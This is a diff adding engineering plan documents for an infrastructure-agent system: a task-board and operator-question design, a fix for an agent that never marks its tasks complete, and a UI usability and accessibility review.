`why`, context-entity chips (→ EntitySheet), option buttons or free-text.
|
||||
Answering POSTs the answer and resumes the agent. Same card also renders
|
||||
inline in the transcript at the point it was raised. (The operator's
|
||||
"structured component with relevant context.")
|
||||
4. **LiveEntityPanel** — the [SessionGraph](../../web/src/lib/components/SessionGraph.svelte)
|
||||
upgraded from passive to live: `entity.touched` → the node **pulses** +
|
||||
"now touching `lxc:foo`"; `health.changed` → recolor + transient
|
||||
`healthy→degraded` diff badge.
|
||||
5. **Outcome & Knowledge** — on completion: success/failure banner, the
|
||||
`summary`, and the knowledge notes recorded (links to the knowledge
|
||||
entities), i.e. the [SessionDigest](../../web/src/lib/components/SessionDigest.svelte)
|
||||
evolved into a task-outcome card.
|
||||
|
||||
## Real-time event contract (global `/events/stream`)
|
||||
|
||||
The panel is driven by the **always-on** [events stream](../../web/src/lib/stores/events.ts),
|
||||
not the per-turn chat SSE — so it stays live during server-side
|
||||
auto-continuation (when no chat turn is open) and survives a tab reload. New
|
||||
`type`s, each carrying `correlation_id = session_id`:
|
||||
|
||||
| type | data |
|
||||
| ---- | ---- |
|
||||
| `task.status` | `{ status, outcome?, summary? }` |
|
||||
| `goal.set` | `{ goal }` |
|
||||
| `plan.proposed` | `{ steps:[{seq,title,detail,target_slug}] }` |
|
||||
| `plan.step.started` / `plan.step.finished` | `{ step_id, seq, status, execution_id? }` |
|
||||
| `question.raised` / `question.answered` | `{ question_id, prompt?, context?, answer? }` |
|
||||
| `entity.touched` | `{ slug, tool }` |
|
||||
| `knowledge.recorded` | `{ title, about, outcome }` |
|
||||
|
||||
`entity.touched` is emitted from the `withActivityLogging` wrapper
|
||||
([server.go:832](../../internal/mcp/server.go)) — it wraps every tool call, so
|
||||
touched-entity tracking needs **zero agent changes**; it also writes the
|
||||
`task —involved→ entity` relationship. `health.changed` already exists.
|
||||
|
||||
## Agent surface (new MCP tools + SOUL)
|
||||
|
||||
Thin declarations that write the tables/relationships and publish the event
|
||||
in-process (event and row commit together):
|
||||
- `set_goal(goal)`
|
||||
- `propose_plan(steps:[{title,detail?,target_slug?}])`
|
||||
- `update_plan_step(seq,status,execution_id?)` — plus the execution's terminal
|
||||
status **auto-closes** its linked step where
|
||||
[phase3.go](../../internal/httpapi/phase3.go) finalizes executions (belt and
|
||||
suspenders).
|
||||
- `ask_operator(prompt,options?,context_entities?,why?)` — creates the question,
|
||||
status→`awaiting_input`, ends the turn; answer resumes via the existing
|
||||
assent/continuation path.
|
||||
- `complete_task(outcome,summary)` — sets outcome/summary, status→done/failed;
|
||||
server enforces "a completed task must have deposited ≥1 knowledge note"
|
||||
(fallback: auto-summarize into one if the model forgot).
|
||||
|
||||
SOUL: "Every task has a goal. **First**, read prior knowledge for the target
|
||||
entities (`get_entity_knowledge`) — learn from past tasks, successful or not.
|
||||
Then `set_goal` + `propose_plan`. Execute autonomously after approval, marking
|
||||
steps. Ask via `ask_operator` only for real decisions. When the goal is
|
||||
verified, `complete_task` with the outcome and record what you learned."
|
||||
|
||||
## Implementation order
|
||||
|
||||
1. **Migration `018` + task-entity creation** (a `task` entity per session) +
|
||||
store methods. Sessions gain goal/status/outcome/summary; no behaviour change.
|
||||
2. **`entity.touched` + `task —involved→ entity`** from `withActivityLogging` —
|
||||
cheapest live win; graph starts pulsing, involved-set is captured for free.
|
||||
3. **Knowledge loop close**: `complete_task` + retrieval-at-planning in SOUL +
|
||||
outcome-tagged `outcome_of` link. Makes tasks compound.
|
||||
4. **`set_goal`/`propose_plan`/`update_plan_step`** + execution→step auto-close.
|
||||
5. **`ask_operator`** end-to-end (tool → question → pinned card inline+panel →
|
||||
answer resumes).
|
||||
6. **UI: TaskContextPanel** (GoalHeader, PlanProgress, OperatorQuestion,
|
||||
LiveEntityPanel, Outcome/Knowledge) + `workspace.ts` store + REST hydration
|
||||
(`GET /sessions/{id}/{plan,questions}`).
|
||||
7. **UI: Task board** — session rail/list → status-card board, "new task" flow.
|
||||
|
||||
Each step ships value: 2 = live entity awareness; 3 = compounding knowledge;
|
||||
4-5 = plan progress + interactive questions; 6-7 = the full task surface.
|
||||
|
||||
## Verification
|
||||
|
||||
- Run "deploy TypeType as an LXC on strong" as a task. Expect: at planning the
|
||||
agent reads prior knowledge for `host:strong`; `propose_plan` renders steps;
|
||||
operator approves **once**; steps flip live; the touched node pulses; a
|
||||
mid-flow ambiguity surfaces as an `ask_operator` card answered in the panel;
|
||||
on success `complete_task` sets outcome=success, deposits a knowledge note
|
||||
linked to `lxc:typetype`, `host:strong`, and the task entity.
|
||||
- Start a **second** task touching `host:strong`; confirm the first task's
|
||||
knowledge surfaces at planning (`get_entity_knowledge`) — the compounding loop.
|
||||
- Reload the tab mid-execution → panel rehydrates from REST and keeps updating
|
||||
from the global stream (proves it isn't chat-SSE-bound).
|
||||
- Board shows the task moving Running → Done with the right outcome color and
|
||||
knowledge badge. `SELECT status, outcome FROM agent_sessions` shows a real
|
||||
lifecycle, not all `active`.
|
||||
- `get_relations` on the task entity returns its involved entities + produced
|
||||
knowledge.
|
||||
|
||||
## Open questions
|
||||
|
||||
- **One task per session vs sequential tasks in a chat** — v1: one task = one
|
||||
session (matches "each chat is a goal"). A new goal starts a new task.
|
||||
Multi-task threads are a later extension.
|
||||
- **Failure knowledge weighting** — do we just tag `outcome:failure` and let the
|
||||
model judge, or add explicit "avoid this" surfacing at planning? Lean tag-only
|
||||
first; revisit if the agent repeats known-failed approaches.
|
||||
- **`complete_task` enforcement** — hard-require a knowledge note (block
|
||||
completion) or soft (auto-generate a stub)? Lean soft, so a trivial "give me
|
||||
status" task isn't forced to invent a learning.
|
||||
- **Board vs thread** for very short tasks ("key status of X") — a status query
|
||||
is a degenerate task (no plan, instant done). Render it as a lightweight card
|
||||
that never shows an approval, so the board isn't cluttered with heavyweight
|
||||
chrome for one-shot questions.
|
||||
256
plans/done/2026-07-11-task-completion-safety-net.md
Normal file
256
plans/done/2026-07-11-task-completion-safety-net.md
Normal file
@@ -0,0 +1,256 @@
|
||||
# Task completion safety net: every live task is stuck "Running"
|
||||
|
||||
Status: Done — 2026-07-12. Fixes 1-3 implemented, built, tested
|
||||
(`go build ./...`, `go test ./cmd/nomos/...`), committed (`3b9c75f`),
|
||||
deployed, and verified live (see Verification below — fresh trivial Q&A
|
||||
sessions now reach `done` immediately; a goal-bearing session that went
|
||||
idle was correctly nudged and auto-resolved by the existing resume-failure
|
||||
path). Fix 4 (backfill) was replaced with deletion — see "Fix 4, revised"
|
||||
below; the original backfill-with-a-fabricated-outcome approach was never
|
||||
run.
|
||||
|
||||
## Scope
|
||||
|
||||
Fix the root cause of a production-wide defect found while UI-testing
|
||||
[`2026-07-11-ui-review-ia-usability.md`](2026-07-11-ui-review-ia-usability.md):
|
||||
every session on the live task board shows as "Running" forever. Traced
|
||||
through `cmd/nomos/` and confirmed against the running database — this is
|
||||
not a frontend bug (the board correctly reflects real `agent_sessions.status`
|
||||
values). It's an agent-behavior gap: the model almost never calls the
|
||||
lifecycle tools (`set_goal` / `propose_plan` / `complete_task`) that the
|
||||
task-board feature (shipped today,
|
||||
[`done/2026-07-11-goal-oriented-chat-control-panel.md`](2026-07-11-goal-oriented-chat-control-panel.md))
|
||||
depends on to know a task is finished.
|
||||
|
||||
## Evidence
|
||||
|
||||
Queried the live nomos API directly (`curl localhost:8092/sessions` and
|
||||
per-session transcripts) against the running mac-mini stack:
|
||||
|
||||
- **50/50 live sessions**: 49 `active`, 1 `planning`. Zero have ever reached
|
||||
`executing`, `awaiting_input`, `done`, or `failed`.
|
||||
- Across all 50 sessions: **`set_goal` called once. `propose_plan` called
|
||||
zero times. `complete_task` called zero times.**
|
||||
- The dominant pattern (43/50 sessions, 2-message transcripts) is a single
|
||||
quick exchange: operator asks something narrow ("what's the hostname of
|
||||
lxc:caddy?"), the model runs one read tool (`run hostname`), answers in
|
||||
plain text, and the turn ends — no lifecycle tool call at all. This is
|
||||
exactly the case
|
||||
[`nomos/SOUL.md:105-109`](../../nomos/SOUL.md#L105) calls out by name
|
||||
("a trivial read-only task... is a degenerate case... answer it and
|
||||
`complete_task` with a one-line summary") — the instruction exists and is
|
||||
explicit, and the model skips it anyway, consistently.
|
||||
- The one session that *did* call `set_goal` (a fleet health check) did
|
||||
substantial real research (`get_health_summary`, `get_state_snapshot`,
|
||||
`get_signal_history`, `list_lxcs`), gave the operator a full structured
|
||||
answer, and then also just stopped — no `propose_plan`, no
|
||||
`complete_task`. Status: stuck at `planning` since 2026-07-11T11:35, still
|
||||
showing "Running" on the board.
|
||||
|
||||
This means the board's "N Running / 0 Done / 0 Failed" isn't a fluke or an
|
||||
edge case — it's the default outcome for essentially every task the system
|
||||
has ever run. The feature as designed (terminal state is 100% dependent on
|
||||
the model remembering to call one specific tool) doesn't hold up against
|
||||
real model behavior, even with an explicit prompt instruction already in
|
||||
place.
|
||||
|
||||
## Where this lives in the code
|
||||
|
||||
`cmd/nomos/agent.go`'s `chatWith` has exactly one place a turn ends with a
|
||||
plain-text answer and no tool calls:
|
||||
|
||||
```go
|
||||
// agent.go:359-368
|
||||
if len(msg.ToolCalls) == 0 {
|
||||
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID})
|
||||
emit(agentEvent{Type: "done", ...})
|
||||
return
|
||||
}
|
||||
```
|
||||
|
||||
This is reached for the trivial-Q&A case (a turn that made zero or a few
|
||||
read-only tool calls this iteration, then answered in text) and is where
|
||||
43/50 of the stuck sessions are produced. There's a second, rarer exit at
|
||||
the step-limit fallback (`agent.go:487-494`, `finalSummary`) with the same
|
||||
gap.
|
||||
|
||||
Neither exit currently checks whether the session ever reached a terminal
|
||||
state — the turn just ends, and `agent_sessions.status` is left wherever it
|
||||
was (usually `active`, its creation-time default,
|
||||
[`store.go:71,84`](../../cmd/nomos/store.go#L71)).
|
||||
|
||||
## Design
|
||||
|
||||
Two different failure shapes need two different fixes — collapsing them
|
||||
into one heuristic would either auto-close genuinely in-progress structured
|
||||
tasks or fail to catch the trivial-Q&A majority.
|
||||
|
||||
**1. Trivial/no-lifecycle-tool sessions (the 43/50 case) — auto-complete
|
||||
inline, same turn.**
|
||||
If a turn ends with a plain-text response (`len(msg.ToolCalls) == 0`, the
|
||||
existing exit at `agent.go:359`) AND this session has never called
|
||||
`set_goal` in its history, that's strong evidence this was never meant to
|
||||
be a structured multi-step task — it's a one-shot question that got
|
||||
answered. Call `store.completeTask` server-side right there, before the
|
||||
`return`, with `outcome="success"` and a summary derived from the response
|
||||
text (first ~120 chars, same truncation pattern
|
||||
`buildContinuationNote` already uses at
|
||||
[`continue.go:203-205`](../../cmd/nomos/continue.go#L203)). No LLM call needed
|
||||
— this is a mechanical default, not a judgment call, matching the "trivial
|
||||
task" case SOUL.md already describes.
|
||||
|
||||
If the session *has* called `set_goal` (meaning the model explicitly framed
|
||||
this as a task, e.g. the fleet-health-check session), auto-completing on
|
||||
the very next plain-text turn is riskier — the model may reasonably expect
|
||||
to be asked something next. Skip the inline auto-complete for these; case 2
|
||||
covers them.
|
||||
|
||||
**2. Structured (goal/plan set) sessions that stall — idle sweep, not
|
||||
inline.**
|
||||
Extend the existing `runContinuationWorker` ticker
|
||||
([`continue.go:41-57`](../../cmd/nomos/continue.go#L41), already polling every
|
||||
4s for a different purpose) with a second, coarser sweep — e.g. every 5
|
||||
minutes — that finds sessions where:
|
||||
- `status` is `active`, `planning`, or `executing` (not already terminal or
|
||||
`awaiting_input`, which has its own resolution path), AND
|
||||
- `set_goal` was called (this is a real task, not case 1), AND
|
||||
- `last_active_at` is older than some idle threshold (start with 15
|
||||
minutes — long enough that it's not still mid-turn, short enough that the
|
||||
board doesn't lie for hours).
|
||||
|
||||
First idle hit: inject a system note next time nothing else touches the
|
||||
session ("[System: this task has been idle for N minutes with no
|
||||
`complete_task` call. If the goal is done, call it now with a summary. If
|
||||
you're genuinely still working, ignore this.]") the same way
|
||||
`buildContinuationNote` already injects notes into resumed sessions — reuse
|
||||
`resumeSession`'s live-persist pattern
|
||||
([`continue.go:106-196`](../../cmd/nomos/continue.go#L106)) so the nudge and
|
||||
the model's response show up in the transcript, not silently.
|
||||
|
||||
If a second idle sweep finds the same session still not completed (i.e.
|
||||
the nudge didn't take), auto-complete it directly with
|
||||
`outcome="partial"` and a summary noting it was auto-closed after an
|
||||
unanswered nudge — same reasoning as `resumeSession`'s existing
|
||||
"give the task a real, operator-visible terminal state instead of leaving
|
||||
it silently stuck forever" logic at
|
||||
[`continue.go:179-193`](../../cmd/nomos/continue.go#L179), which already does
|
||||
exactly this for a different failure mode (a resume that produces no
|
||||
response). This is the same architectural pattern, applied to a session
|
||||
that produces responses but never a terminal tool call.
|
||||
|
||||
**3. Leave `ask_operator` and gated-execution flows alone.** Those already
|
||||
have real terminal signals (`awaiting_input` status, the continuation
|
||||
worker's assent-window logic) — this plan only targets sessions that fall
|
||||
through with no lifecycle signal at all.
|
||||
|
||||
## Fix plan
|
||||
|
||||
1. **Inline safety net (case 1)** — in `chatWith`'s plain-text exit
|
||||
(`agent.go:359`), check `set_goal` was never called for this session
|
||||
(cheap: track a bool while replaying `history` in the same function, no
|
||||
extra query — the loop at `agent.go:209-226` already walks every
|
||||
persisted message and could flag `sawSetGoal` while extracting tool
|
||||
calls). If not sawSetGoal, call `completeTask` before returning.
|
||||
2. **Idle sweep (case 2)** — new ticker in `continue.go` (or extend the
|
||||
existing one with a slower secondary tick), a new store query
|
||||
(`store.staleGoalSessions(ctx, idleThreshold)` mirroring
|
||||
`pendingContinuations`'s shape), and reuse of `resumeSession`'s
|
||||
live-persist injection for the nudge.
|
||||
3. **Second-strike auto-close (case 2, continued)** — track nudge count (a
|
||||
new `agent_sessions` column, e.g. `completion_nudges int default 0`, or
|
||||
reuse the existing `summary`/attributes json instead of a schema change
|
||||
if that's preferable) so the sweep can tell "never nudged" from "nudged
|
||||
once already, still stuck."
|
||||
4. **Backfill** — the 50 already-stuck live sessions won't get fixed by new
|
||||
code alone (they're historical). One-time cleanup: run the same
|
||||
case-1/case-2 classification against existing rows once the code ships,
|
||||
so the board doesn't show 50 permanently-orphaned "Running" cards on top
|
||||
of new correctly-terminating ones. This should be a script, not a manual
|
||||
UPDATE — the classification logic will already exist in Go.
|
||||
|
||||
## Fix 4, revised: deletion instead of backfill
|
||||
|
||||
The plan as written proposed backfilling the 50 already-stuck sessions with
|
||||
a mechanically-assigned outcome (`success` for case 1, `partial` for case
|
||||
2). When it came time to execute that, the operator raised a better
|
||||
question: these were overwhelmingly one-off test/smoke-test sessions
|
||||
("hi", "what's the hostname of lxc:caddy?") with no lasting value —
|
||||
assigning them a fabricated `success` outcome would make the task board
|
||||
lie in the opposite direction (claiming verified success on things nobody
|
||||
verified). The operator's call: delete them instead of backfilling a
|
||||
guessed outcome, with one condition — don't lose any recorded knowledge.
|
||||
|
||||
Before deleting anything, verified directly against the database (not
|
||||
assumed from reading the code):
|
||||
- Zero `documents` relationship edges exist linking any of the candidate
|
||||
sessions to any `knowledge_entities` row.
|
||||
- Zero `upsert_knowledge` calls appear anywhere in the candidate sessions'
|
||||
transcripts.
|
||||
- Zero `knowledge_entities` rows exist system-wide mentioning the one
|
||||
topic (`typetype`) the operator specifically asked to preserve.
|
||||
|
||||
`deleteSession` (`store.go:293`, already the live code path behind the
|
||||
UI's "Delete task" button — reused as-is, not reimplemented) removes the
|
||||
session, its messages, its own task entity, and that entity's relationship
|
||||
edges — it never touches `knowledge_entities` rows or entities the task
|
||||
merely referenced (e.g. `lxc:typetype` itself), only the provenance edges
|
||||
back to the now-deleted task. Given the verification above, this was safe:
|
||||
there was nothing to preserve because nothing had ever been recorded.
|
||||
|
||||
Executed in two batches, both via the same `DELETE /sessions/:id` route:
|
||||
- **47 sessions** — the original candidate set from `curl
|
||||
localhost:8092/sessions`, all non-`done`/`failed` at the time.
|
||||
- **6 more sessions** — found *after* the first batch, when they surfaced
|
||||
on the task board: `listSessions` (`store.go:193`) hardcodes
|
||||
`ORDER BY last_active_at DESC LIMIT 50` with no pagination, so the
|
||||
original audit's "50 sessions total" was actually "the 50 most
|
||||
recently active" — it silently excluded 6 older stuck sessions from
|
||||
2026-07-08 (predating the task-board feature entirely, same trivial
|
||||
"hi"/smoke-test pattern). Worth knowing about `listSessions`'s cap for
|
||||
any future audit of this table — a `count(*)` query directly against
|
||||
the database is the only way to get a true total.
|
||||
|
||||
Final state: `agent_sessions` holds exactly 3 rows — the two `done` and
|
||||
one `failed` sessions produced during live verification of fixes 1-3.
|
||||
|
||||
## Implementation order
|
||||
|
||||
1. Fix 1 (inline safety net) first — it's the highest-leverage, lowest-risk
|
||||
change (self-contained, no schema change, covers 43/50 of the evidence).
|
||||
2. Fix 2+3 (idle sweep + second-strike) — needs the schema decision
|
||||
(new column vs. attribute) settled first; smaller blast radius than 1
|
||||
but touches the ticker/worker machinery, deserves its own review pass.
|
||||
3. Fix 4 (backfill) last, once 1-3 are deployed and verified live — running
|
||||
it before the code ships would just recreate the same gap for new
|
||||
sessions created in between.
|
||||
|
||||
## Verification
|
||||
|
||||
- After fix 1: start a few trivial one-shot chats against the live agent
|
||||
(`hostname`-style questions), confirm each session reaches `status=done`
|
||||
immediately after the answer, via `curl localhost:8092/sessions/:id` or
|
||||
the task board.
|
||||
- After fix 2+3: manually let a goal-bearing session go idle past the
|
||||
threshold (or lower the threshold for a local test run), confirm the
|
||||
nudge appears in the transcript, then confirm second-strike auto-close
|
||||
fires if the nudge is ignored.
|
||||
- Re-run the same audit query used to find this bug
|
||||
(`curl localhost:8092/sessions` → status histogram) a day after deploy;
|
||||
the "stuck active/planning forever" count should track only genuinely
|
||||
in-flight tasks, not accumulate.
|
||||
|
||||
## Open questions
|
||||
|
||||
- **Outcome for case-1 auto-complete**: always `"success"`, or worth a
|
||||
cheap heuristic (e.g. scan the final text for obvious failure language)?
|
||||
Recommend starting with always-`"success"` — SOUL.md's own trivial-task
|
||||
guidance doesn't distinguish, and a wrong "success" on a genuinely-failed
|
||||
one-shot lookup is low-stakes (the transcript still shows the real
|
||||
answer; nothing acts on the outcome besides the board's color).
|
||||
- **Idle threshold (15 min) and nudge-to-close gap**: arbitrary starting
|
||||
points, not measured against real task durations — worth revisiting after
|
||||
a week of the new sessions' real timing data exists.
|
||||
- **Schema change for nudge tracking**: a new column is simpler to query
|
||||
than packing state into existing JSON, but adds a migration — worth
|
||||
confirming that's acceptable before starting fix 2+3 (this plan defers
|
||||
that call to whoever implements it, per Implementation order above).
|
||||
262
plans/done/2026-07-11-ui-review-ia-usability.md
Normal file
262
plans/done/2026-07-11-ui-review-ia-usability.md
Normal file
@@ -0,0 +1,262 @@
|
||||
# UI review: information architecture, usability, and best practices
|
||||
|
||||
Status: Done — 2026-07-11. All fix-plan items implemented and verified live
|
||||
except C2 (a11y lint enforcement — no ESLint/svelte-check is configured in
|
||||
`web/` at all, so there's nothing to promote from warn to error; flagged
|
||||
below instead of silently adding lint infra). Verification also surfaced an
|
||||
unrelated pre-existing bug (Knowledge page search results never render) —
|
||||
spun off as a separate task, not fixed here.
|
||||
|
||||
## Scope
|
||||
|
||||
Systematic review of `web/src/` (Svelte 5 + shadcn-svelte + Tailwind v4
|
||||
control-room UI): all 13 pages, the 11 shared components, the sidebar/routing
|
||||
shell (`App.svelte`), and cross-cutting patterns (filtering, loading/empty
|
||||
states, live-event wiring, accessibility). Read in full, not sampled.
|
||||
Grounded in what's actually in the code — no speculative "best practice"
|
||||
items without a concrete file:line instance.
|
||||
|
||||
Not implementation. Findings and a proposed fix plan only, mirroring
|
||||
[`2026-07-11-nomos-agent-code-review.md`](2026-07-11-nomos-agent-code-review.md)'s
|
||||
structure — implement on a later "proceed."
|
||||
|
||||
## Findings
|
||||
|
||||
### A. Information architecture
|
||||
|
||||
**A1. Entity detail has two competing UI patterns for the same content.**
|
||||
[`Entities.svelte:16-19,155`](../../web/src/pages/Entities.svelte) opens entity
|
||||
detail as an in-page `EntitySheet` slide-over (no URL change, no sidebar
|
||||
state change). [`Knowledge.svelte:57-59`](../../web/src/pages/Knowledge.svelte)
|
||||
and [`Graph.svelte:464`](../../web/src/pages/Graph.svelte) instead navigate via
|
||||
`location.hash = '#/entity/' + slug`, which `App.svelte`'s router resolves to
|
||||
a full-page `EntityDetail` route — but `'entity'` isn't in `navItems`
|
||||
([`App.svelte:68-79`](../../web/src/App.svelte)), so landing there leaves the
|
||||
sidebar with nothing highlighted and the header showing the raw slug instead
|
||||
of a section name. Same underlying view
|
||||
(`EntityDetailContent.svelte`), three different entry points, two
|
||||
different navigation models, one of which produces an orphaned page state.
|
||||
A user who reaches an entity via Knowledge or Graph has no way back to
|
||||
"where they were" via the sidebar — only browser back.
|
||||
|
||||
**A2. Two chat entry points with no visual link between them.**
|
||||
The sidebar's "Tasks" section (board → `Chat.svelte` detail,
|
||||
`isActive={page === 'tasks' || page === 'chat'}`,
|
||||
[`App.svelte:127`](../../web/src/App.svelte)) and the footer's "Chat drawer"
|
||||
button ([`App.svelte:160-163`](../../web/src/App.svelte), opens a `Sheet`
|
||||
wrapping the same `Chat` component) are both valid, intentional ways to
|
||||
reach chat — but nothing in the UI explains they're different modes (drawer
|
||||
= overlay on current page, keeps your place; Tasks = full navigation). A
|
||||
first-time user has no way to know which one preserves their current page.
|
||||
Low-severity, but worth a tooltip/label distinction.
|
||||
|
||||
**A3. Overview's KPI cards don't drill down.**
|
||||
[`Overview.svelte`](../../web/src/pages/Overview.svelte) shows "Pending
|
||||
approvals," "Open signals," and fleet-health counts as static cards. The
|
||||
header badges for the same data (`approvalsPending`, `openSignals`,
|
||||
[`App.svelte:185-194`](../../web/src/App.svelte)) ARE clickable and navigate to
|
||||
Ops/Signals — so the pattern exists in the app, just not on the page whose
|
||||
entire purpose is summarizing this data. A dashboard card showing a count
|
||||
that doesn't lead anywhere is a standard drill-down gap.
|
||||
|
||||
### B. Usability / interaction consistency
|
||||
|
||||
**B1. Table-row click targets lack keyboard/screen-reader support in one
|
||||
place but not others.**
|
||||
[`Entities.svelte:117-120`](../../web/src/pages/Entities.svelte) makes an
|
||||
entire `Table.Row` clickable via a bare `onclick`, with no `role`,
|
||||
`tabindex`, or `onkeydown` — unreachable and inoperable via keyboard, and
|
||||
screen readers get no indication the row is interactive. This is a
|
||||
regression against the codebase's own established pattern: `Tasks.svelte`
|
||||
wraps its cards in real `<button>` elements
|
||||
([`Tasks.svelte:172`](../../web/src/pages/Tasks.svelte)), `Events.svelte`'s
|
||||
correlation-group headers are real `<button>`s
|
||||
([`Events.svelte:110-114`](../../web/src/pages/Events.svelte)), and
|
||||
`Graph.svelte`'s SVG nodes explicitly add `role="button"`, `tabindex="0"`,
|
||||
and `onkeydown` ([`Graph.svelte:416-421`](../../web/src/pages/Graph.svelte)).
|
||||
Entities is the outlier.
|
||||
|
||||
**B2. Filter inputs are inconsistently "live" vs. "apply-on-blur," with no
|
||||
visual cue either way.**
|
||||
`Entities.svelte`'s slug/name filter and `Graph.svelte`'s search box filter
|
||||
as-you-type (bound to a `$derived`). But `Ops.svelte` (implicitly, no text
|
||||
filters), `Audit.svelte`'s action/entity inputs
|
||||
([`Audit.svelte:71-72`](../../web/src/pages/Audit.svelte)),
|
||||
`Agent.svelte`'s agent_id input
|
||||
([`Agent.svelte:59`](../../web/src/pages/Agent.svelte)), and `Events.svelte`'s
|
||||
type/severity inputs ([`Events.svelte:92-93`](../../web/src/pages/Events.svelte))
|
||||
all use `onchange`, which only fires on blur — a user typing a filter value
|
||||
and watching the table sees nothing happen until they click or tab away, and
|
||||
nothing in the UI (placeholder text, a debounce spinner, an "Enter to
|
||||
apply" hint) tells them why. Three different pages share the same
|
||||
`onchange`-only pattern, so it's a systemic choice, not an oversight — but
|
||||
it reads as broken on first use.
|
||||
|
||||
**B3. Entity filter is case-sensitive; nothing else in the app is.**
|
||||
[`Entities.svelte:50`](../../web/src/pages/Entities.svelte) matches with raw
|
||||
`.includes()`, no `.toLowerCase()`. `Graph.svelte`'s equivalent search
|
||||
normalizes both sides
|
||||
([`Graph.svelte:175-176`](../../web/src/pages/Graph.svelte):
|
||||
`n.slug.toLowerCase().includes(q)`). Slugs are lowercase by convention today,
|
||||
which is why this hasn't bitten anyone yet, but entity *names* are
|
||||
free text and can be mixed-case — a name filter that silently returns zero
|
||||
results for a correctly-spelled but wrong-case query is a real trap, and the
|
||||
one-line fix already has a working reference implementation three files
|
||||
away.
|
||||
|
||||
**B4. `{@html}` on server-provided search snippets.**
|
||||
[`Knowledge.svelte:120-121`](../../web/src/pages/Knowledge.svelte) renders
|
||||
`hit.snippet` with `{@html}`, justified by a comment claiming the backend's
|
||||
`ts_headline` output is pre-sanitized. That's true for Postgres
|
||||
`ts_headline` today (it only wraps matched terms in `<b>` from a
|
||||
parameterized query), but there's no client-side enforcement of that
|
||||
invariant — if the search query or snippet source ever changes upstream,
|
||||
this becomes a stored-XSS vector with no guard at the point of use. Not an
|
||||
active vulnerability, but a fragile trust boundary worth tightening
|
||||
defensively (e.g. a tiny allow-list sanitizer) rather than relying on a
|
||||
comment to hold forever.
|
||||
|
||||
### C. Accessibility
|
||||
|
||||
**C1. `SessionRail.svelte`'s delete control is a `<span>`, not a button.**
|
||||
[`SessionRail.svelte:54-64`](../../web/src/lib/components/SessionRail.svelte)
|
||||
attaches `onclick` to a `<span>` for the per-session delete affordance, with
|
||||
no `role`, `tabindex`, or keyboard handler — same defect class as B1, on a
|
||||
destructive action this time (delete a chat session), which makes it a
|
||||
notch more important: a keyboard-only user cannot delete a session from
|
||||
this rail at all.
|
||||
|
||||
**C2. Same defect, lower stakes, elsewhere.**
|
||||
Scan for the same "clickable non-interactive element" shape found in B1/C1
|
||||
should be swept across `web/src/` once — these two are the ones a full read
|
||||
surfaced, but the pattern (a `<div>`/`<span>` with `onclick` and no
|
||||
keyboard path) is exactly the kind of thing that creeps back in per-PR
|
||||
without a lint rule catching it. Worth checking whether
|
||||
`eslint-plugin-svelte`'s `a11y_click_events_have_key_events` /
|
||||
`a11y_no_static_element_interactions` rules are enabled and enforced in CI
|
||||
(the prior summary noted these exist as warnings, not build failures — that
|
||||
should be confirmed and possibly promoted to errors as part of implementing
|
||||
C1/B1).
|
||||
|
||||
### D. Visual / component consistency
|
||||
|
||||
**D1. One page bypasses the shared `Button` component.**
|
||||
`Agent.svelte`'s "Refresh" control is a bare
|
||||
`<button class="rounded-md border px-3 py-1.5 text-xs">`
|
||||
([`Agent.svelte:73`](../../web/src/pages/Agent.svelte)) instead of
|
||||
`Button` (`variant="outline"`), which every other page's refresh/action
|
||||
buttons use (`Ops.svelte`, `Signals.svelte`, `Audit.svelte`, `Events.svelte`
|
||||
all use `<Button variant="outline">`). Cosmetically near-identical today
|
||||
(both render as a bordered pill) but it'll drift the moment the design
|
||||
tokens on `Button` change, since this one doesn't inherit them.
|
||||
|
||||
**D2. `formatEventLabel` is a needless indirection.**
|
||||
[`Overview.svelte`](../../web/src/pages/Overview.svelte)'s
|
||||
`formatEventLabel(ev)` returns `ev.type` verbatim — a one-line wrapper with
|
||||
no formatting logic. Trivial, but noted since it reads as if formatting
|
||||
were intended and never finished.
|
||||
|
||||
### E. Loading / empty states
|
||||
|
||||
No real findings — this is a strength worth naming rather than "fixing."
|
||||
Every page reviewed (Overview, Entities, Ops, Signals, Events, Agent, Audit,
|
||||
Knowledge, Learning, Graph, Tasks) has both a loading state (skeletons or an
|
||||
implicit empty table) and an explicit, page-appropriate empty-state message
|
||||
(not a generic "no data"). That consistency is worth preserving as new pages
|
||||
get added — call it out in the PR template or a short frontend README note
|
||||
rather than leaving it as tribal knowledge.
|
||||
|
||||
## Fix plan
|
||||
|
||||
Priority order, grounded in user impact:
|
||||
|
||||
1. **C1 (SessionRail delete button)** — highest priority: it's a destructive
|
||||
action that's currently unreachable by keyboard at all. Swap the `<span>`
|
||||
for a real `<button>` with `aria-label="Delete session"`, matching the
|
||||
pattern `Tasks.svelte` already uses for its own delete affordance
|
||||
([`Tasks.svelte:195-207`](../../web/src/pages/Tasks.svelte) — same feature,
|
||||
done correctly, in the same codebase).
|
||||
2. **B1 (Entities row click)** — wrap row content in a `<button>` (or add
|
||||
`role="button" tabindex="0" onkeydown`) matching `Tasks.svelte` /
|
||||
`Events.svelte`'s existing pattern.
|
||||
3. **B3 (case-sensitive filter)** — one-line `.toLowerCase()` fix on both
|
||||
sides of the `.includes()` calls in `Entities.svelte:50`.
|
||||
4. **A1 (dual entity-detail navigation)** — pick one pattern. Recommend
|
||||
standardizing on the `EntitySheet` (in-page, no navigation loss) and
|
||||
changing `Knowledge.svelte`/`Graph.svelte`'s "View entity detail" actions
|
||||
to open the sheet directly instead of hash-navigating to the orphaned
|
||||
`#/entity/:slug` route. If the full-page route is kept for deep-linking
|
||||
(a legitimate reason to keep it), then at minimum highlight the
|
||||
originating section in the sidebar and give the header a real label
|
||||
instead of the bare slug.
|
||||
5. **A3 (Overview KPI cards not clickable)** — wrap the approvals/signals
|
||||
cards in the same click-to-navigate pattern already used by the header
|
||||
badges.
|
||||
6. **D1 (Agent.svelte bare button)** — swap for `<Button variant="outline">`.
|
||||
7. **B2 (inconsistent live-vs-blur filtering)** — standardize on
|
||||
`oninput`-driven, debounced (~300ms) filtering across Audit/Agent/Events,
|
||||
matching the already-live feel of Entities/Graph. Lower priority than the
|
||||
above since it's a rough edge, not a defect.
|
||||
8. **B4 (`{@html}` trust boundary)** — add a minimal sanitize step (strip
|
||||
everything but the `<b>` tags `ts_headline` emits) at the point of
|
||||
render, so the safety property doesn't depend on the backend never
|
||||
changing.
|
||||
9. **A2 (chat drawer vs. Tasks unlabeled)** and **D2 (`formatEventLabel`)** —
|
||||
cosmetic, do opportunistically or skip.
|
||||
